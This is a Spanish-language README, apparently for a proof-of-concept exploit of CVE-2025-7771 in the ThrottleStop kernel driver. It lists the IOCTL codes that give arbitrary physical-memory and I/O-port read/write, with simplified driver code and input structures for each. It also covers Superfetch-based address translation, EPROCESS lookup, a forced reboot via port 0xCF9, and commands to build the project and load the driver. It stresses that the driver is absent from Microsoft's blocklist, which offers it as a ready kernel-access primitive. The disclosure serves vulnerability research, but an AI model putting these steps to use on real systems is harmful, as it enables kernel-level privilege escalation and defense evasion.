
CVE-2025-7771: Lectura/escritura arbitraria de memoria física y puertos de E/S a través del controlador ThrottleStop
CVE-2025-7771: Lectura/escritura arbitraria de memoria física y puertos de E/S a través del controlador ThrottleStop
ThrottleStop es una pequeña aplicación legítima utilizada para monitorear y corregir la limitación de la CPU. Tiene un controlador que facilita estas tareas y, en su mayoría, no tiene ningún tipo de validación de entrada.
| IOCTL | Vulnerabilidad |
|---|---|
| 0x80006498 | Lectura arbitraria de memoria |
| 0x8000649C | Escritura arbitraria de memoria |
| 0x80006430 | Lectura arbitraria de puerto |
| 0x80006434 | Escritura arbitraria de puerto |
También parece haber lectura y escritura arbitraria de MSR, pero no pude hacerlas funcionar.
Siéntete libre de investigarlo tú mismo.
La lectura de MSR está en 0x80006448 y la escritura en 0x8000644C.
Si lograste hacerlo funcionar, por favor envía un issue describiendo el procedimiento.
Todas las llamadas IOCTL mencionadas a continuación están implementadas en el archivo Exploit.c.
El IOCTL 0x80006498 mapea cualquier dirección física proporcionada al espacio del kernel usando MmMapIoSpace y lee 1, 2, 4 u 8 bytes de ella. Luego, los datos se copian de vuelta al espacio de usuario.
Para activar este IOCTL, llama a DeviceIoControl con la dirección física como entrada y el tamaño del búfer de salida como tamaño de lectura (1, 2, 4 u 8).
Código simplificado para este IOCTL en el controlador:
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
Similar a la lectura, el IOCTL 0x8000649C mapea la dirección física proporcionada al espacio del kernel usando MmMapIoSpace y lee 1, 2, 4 u 8 bytes de ella.
Para activar este IOCTL, llama a DeviceIoControl con la siguiente estructura del búfer de entrada:
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
El tamaño del búfer de entrada será 8 + (1, 2, 4 u 8) dependiendo del tamaño de escritura.
El búfer de salida y su tamaño no se utilizan.
Código simplificado para este IOCTL en el controlador:
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
El IOCTL 0x80006430 permite al usuario especificar un puerto de E/S y leer de él directamente usando __inbyte, __inword o __indword.
El búfer de entrada es un USHORT y el tamaño del búfer de entrada debe ser sizeof(USHORT).
El búfer de salida contendrá el resultado (1, 2 o 4 bytes dependiendo del tamaño solicitado) y el tamaño de salida puede ser 1, 2 o 4.
Código simplificado para este IOCTL en el controlador:
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
Similar a la lectura de puerto, el IOCTL 0x80006434 permite al usuario especificar un puerto de E/S y escribir valores arbitrarios en él con __outbyte, __outword o __outdword.
La estructura del búfer de entrada es:
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
El tamaño del búfer de entrada debe ser sizeof(USHORT) + sizeof(Value) (+ padding). El búfer de salida y su tamaño no se utilizan.
Código simplificado para este IOCTL en el controlador:
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
Esta traducción es posible abusando de Superfetch, un módulo legítimo del kernel que expone la traducción de dirección virtual a física usando APIs no documentadas. El código para esto está implementado en vtop.c
Este proyecto se puede compilar usando Meson. Lee el campo UniqueProcessId resolviendo la estructura EPROCESS del proceso System usando PsInitialSystemProcess y verifica si es 4 (implementado en Main.c y las funciones para encontrar EPROCESS de un PID específico están implementadas en EProcess.c). Además, le pregunta al usuario si desea forzar el reinicio del sistema. Esto es posible escribiendo el valor 0x0E en el puerto 0xCF9.
Advertencia: Todo fue probado en Windows 11 compilación 24H2. Los desplazamientos en la estructura EPROCESS podrían ser diferentes en tu sistema.
Compila el proyecto con
meson setup build
Esto creará el directorio build. Ahora compila el proyecto con
meson compile -C build
El controlador está disponible en el directorio Drivers del repositorio. Los controladores de ThrottleStop se pueden extraer directamente del programa ThrottleStop.exe mediante Resource Hacker. Encontrarás dos controladores: x64 y x86. DriverObject->MajorFunction[14] contiene la función de despacho donde se han implementado todos los IOCTLs.
Crea e inicia el controlador usando:
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
Este controlador aún no ha sido añadido a la lista de bloqueo de controladores de Microsoft ni a loldrivers.